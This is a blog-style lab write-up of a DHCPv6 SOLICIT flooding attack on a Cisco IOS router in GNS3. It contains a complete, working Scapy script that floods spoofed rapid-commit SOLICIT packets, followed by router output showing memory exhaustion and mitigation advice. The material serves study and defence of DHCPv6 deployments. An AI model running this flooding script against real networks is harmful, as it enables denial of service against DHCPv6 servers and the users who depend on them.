DHCPv6 relies on stateless UDP communication using UDP 546 and UDP 547 ports. As stated in the RFC 3315 this is makes DHCPv6 particularly vulnerable to fake attack in which SOLICIT messages are generated with random source prefixes.
Particularly in rapid-commit where ONLY two messages are exchanged between the client and the server to get an IPv6 prefix.
Picture1: lab topology – IOS 12.4(24)T implemented in GNS3

DHCPv6 server configuration:
| ipv6 dhcp pool SLAAC-POOL address prefix 2001:DB8:5AB::/64 lifetime infinite infinite dns-server 2001:DB8:5AB::57 domain-name nouri.com ! interface FastEthernet1/0 ip address 192.168.0.202 255.255.255.0 ipv6 address 2001:DB8::202/64 ipv6 enable
end |
Layer2 Switch configuration:
| interface FastEthernet1/0 switchport access vlan 10 ! interface FastEthernet1/1 switchport mode trunk |
Below is the Scapy script used for the attack, though awkward, but do the job.
You can enter manually the DHCPv6 sever MAC address from the local neighbor table of through a script by pinging all DHCP agents multicast address FF02::1:2.
SOLCIT messages are sent blindly without even expecting any responses.
| # -*- coding: utf-8 -*- #! /usr/bin/env python # DHCPv6 fake attack # Date: 28/10/11 # Author: AJ NOURI (cciethebeginning.wordpress.com) from scapy.all import * from netaddr import * # or from netaddr.strategy.ipv6 import * import random class randmac(): “”" Generates two forms of random MAC address and corresponding Link Local EUI-64 IPv6 address”"” def __init__(self): “”" Generates MAC address string by chunks of one byte “”" random.seed() self.mac11 = str(hex(random.randint(0,255))[2:]) self.mac12 = str(hex(random.randint(0,255))[2:]) self.mac21 = str(hex(random.randint(0,255))[2:]) self.mac22 = str(hex(random.randint(0,255))[2:]) self.mac31 = str(hex(random.randint(0,255))[2:]) self.mac32 = str(hex(random.randint(0,255))[2:]) def form1b(self): “”" format 1 XX:XX:XX:XX:XX:XX”"” self.rez1 = self.mac11 + “:” + self.mac12 + “:” + self.mac21 + “:” + self.mac22 + “:” + self.mac31 + “:” + self.mac32 return self.rez1 def form2b(self): “”" format 2 XXXX.XXXX.XXXX”"” self.rez2 = self.mac11 + self.mac12 + “.” + self.mac21 + self.mac22 + “.” + self.mac31 + self.mac32 return self.rez2 def eui64(self): “”" Generates interface ID in EUI-64 format”"” self.rez3 = self.mac11 + self.mac12 + “:” + self.mac21 + “ff” + “:” + “fe” + self.mac22 + “:” + self.mac31 + self.mac32 return self.rez3 def ip6_ll_eui64(self): “”" Generates Link-local IPv6 addres in EUI-64 format”"” self.ip6_ll_eui64 = “fe80″ + “::” + self.eui64() return self.ip6_ll_eui64 def main(): # Building and initilizing DHCP SOLICIT packet layers with common parameters l2 = Ether() l3 = IPv6() l4 = UDP() sol = DHCP6_Solicit() rc = DHCP6OptRapidCommit() opreq = DHCP6OptOptReq() et= DHCP6OptElapsedTime() cid = DHCP6OptClientId() iana = DHCP6OptIA_NA() rc.optlen = 0 opreq.optlen = 4 iana.optlen = 12 iana.T1 = 0 iana.T2 = 0 cid.optlen = 10 “”" DHCPv6 MAC address: you can enter manually or as argument to the script or get it automatically ”"” by pinging DHCPv6 agent multicast ff02::1:2 macdst = “ca:00:39:b8:00:06″ l2.dst = macdst l3.dst = “ff02::1:2″ l4.sport = 546 l4.dport = 547 #for i in range(1,1000): while(1 == 1): # Generating MAC and its corresponding IPv6 link-local in EUI-64 format macs = randmac() macsrc = macs.form1b() ipv6llsrc = macs.ip6_ll_eui64() # Initializaing the source addreses l2.src = macsrc l3.src = ipv6llsrc random.seed() # Generating SOLICIT message id sol.trid = random.randint(0,16777215) # Generating DUID-LL cid.duid = (“00030001″+ str(EUI(macsrc)).replace(“-”,”")).decode(“hex”) # Assembing the packet pkt = l2/l3/l4/sol/iana/rc/et/cid/opreq try: # GO! sendp(pkt, iface=’eth1′) except KeyboardInterrupt: print ‘Program Interrupted by user’ break if __name__==”__main__”:main() |
Picture2: Fake DHCPv6 SOLICIT packets in Wireshark

Victim router:
| R2#sh ipv6 dhcp pool DHCPv6 pool: SLAAC-POOL Address allocation prefix: 2001:DB8:5AB::/64 valid 4294967295 preferred 4294967295 (91725 in use, 0 conflicts) DNS server: 2001:DB8:5AB::57 Domain name: nouri.com Active clients: 91725 R2# |
Look already at the number of faked active clients!
With a mask of /64 there are 18,446,744,073,709,551,616 hosts. Obviously the purpose is not to deplete the DHCPv6 prefixes; it will take a ridiculous amount of time to exhaust the pool. It is about CPU and memory resources exhaustion.
Resource consumption:
Baseline before the attack:
| R2#sh proc mem | i v6 86 0 0 0 7204 0 0 IPv6 Echo event 132 0 0 0 7204 0 0 IPv6 Inspect Tim 179 0 0 0 7204 0 0 IPSECv6 PS Proc 190 0 316 0 7432 0 0 DHCPv6 Listener 258 0 15156 0 12432 0 0 IPv6 RIB Event H 259 0 4004 0 17040 0 0 CEF: IPv6 proces 260 0 288 0 10648 0 0 IPv6 IDB 261 0 38096 288 40412 0 0 IPv6 Input 262 0 44780 6936 23484 0 0 IPv6 ND 263 0 0 0 7236 0 0 IPv6 Address 265 0 9076 0 9076 0 0 DHCPv6 Database 266 0 0 0 7204 0 0 DHCPv6 Server 268 0 0 0 7204 0 0 DHCPv6 DB Timer R2# |
During the attack:
| R2#sh proc mem | i v6 86 0 0 0 7204 0 0 IPv6 Echo event 132 0 0 0 7204 0 0 IPv6 Inspect Tim 179 0 0 0 7204 0 0 IPSECv6 PS Proc 258 0 1484 0 11828 0 0 IPv6 RIB Event H 259 0 1572 320 14524 0 0 CEF: IPv6 proces 260 0 0 0 10292 0 0 IPv6 IDB 261 0 34088 100 24960 10152 0 IPv6 Input 262 0 128663824 647344 158220 79444476 60912 IPv6 ND 263 0 0 0 7312 0 0 IPv6 Address 265 0 9080 0 9080 0 0 DHCPv6 Database 266 0 226002424 24624328 63101544 68268816 81216 DHCPv6 Server 267 0 316 0 7520 0 0 DHCPv6 Listener 268 0 0 0 7204 0 0 DHCPv6 DB Timer R2# |
Baseline (before the attack):
| R2#sh proc mem Processor Pool Total: 128640748 Used: 34955488 Free: 93685260 I/O Pool Total: 16777216 Used: 4253200 Free: 12524016 Transient Pool Total: 16777216 Used: 29880 Free: 16747336 PID TTY Allocated Freed Holding Getbufs Retbufs Process … |
During the attack:
| R2#sh proc mem Processor Pool Total: 128640536 Used: 126237444 Free: 2403092 I/O Pool Total: 16777216 Used: 4412080 Free: 12365136 Transient Pool Total: 16777216 Used: 27800 Free: 16749416 PID TTY Allocated Freed Holding Getbufs Retbufs Process … |
100% of interrupt processing caused by DHCPv6 and ND processes activities.
| R2#sh proc cpu CPU utilization for five seconds: 92%/100%; one minute: 87%; five minutes: 83% PID Runtime(ms) Invoked uSecs 5Sec 1Min 5Min TTY Process … |
OK, maybe the effect on CPU will not be so harmful with HW equipments, but each binding table association will take the same amount of memory and in our case approximately 30 minutes later.
The 128 Mbytes of our DHCPv6 router memory is depleted and the router starts firing syslog messages to signal the problem:
The Denial of Service involves the binding table associated to the DHCPv6 configuration pool
Imagine what you can do with a more sophisticated piece of software or with HW tools like Ixia or Spirent.
| Pool: Processor Free: 58968 Cause: Memory fragmentation Alternate Pool: None Free: 0 Cause: No Alternate pool -Process= “DHCPv6 Server“, ipl= 0, pid= 266, -Traceback= 0x6000A944z 0x600238C8z 0x63D60D6Cz 0x6220DB68z 0x622152E8z 0x62210170z 0x62210498z 0x62211128z 0x622112C8z 0x63079090z 0x63079074z *Jan 21 19:46:24.669: %SYS-2-MALLOCFAIL: Memory allocation of 320 bytes failed from 0x6220DB60, alignment 0 |
Here more self-explanatory figures about the event:
Picture3: CPU utilization

Picture4: memory utilization

Though the DHCPv6 SOLLICIT messages consume insignificant BW, the harm is caused by the amount of memory allocated by each packet.

To clear the DHCPv6 router binding table:
| R2#clear ipv6 dhcp bind * |
Threat mitigation:
Here is a couple of threat mitigation tools you need to consider to mitigate
- 802.1x for layer2 authentication before even attending DHCPc6 process.
- Secure ND (SeND): is a more complex architecture requiring crypto, SeND capable hosts and PKI infrastructure. At least an entire post will be dedicated to it.
- ND related security can be used in the Layer2 switch connecting DHCPv6 clients:
- IPv6 device tracking to make sure neighbour table contains only live hosts.
- ND inspection: reject ND messages if MAC is unverifiable.
- Depending on the expected number of IPv6 users, you can set ND cache limit globally or per interface basis.
References:
http://www.ietf.org/rfc/rfc3315.txt
http://www.ietf.org/id/draft-ietf-dhc-secure-dhcpv6-04.txt





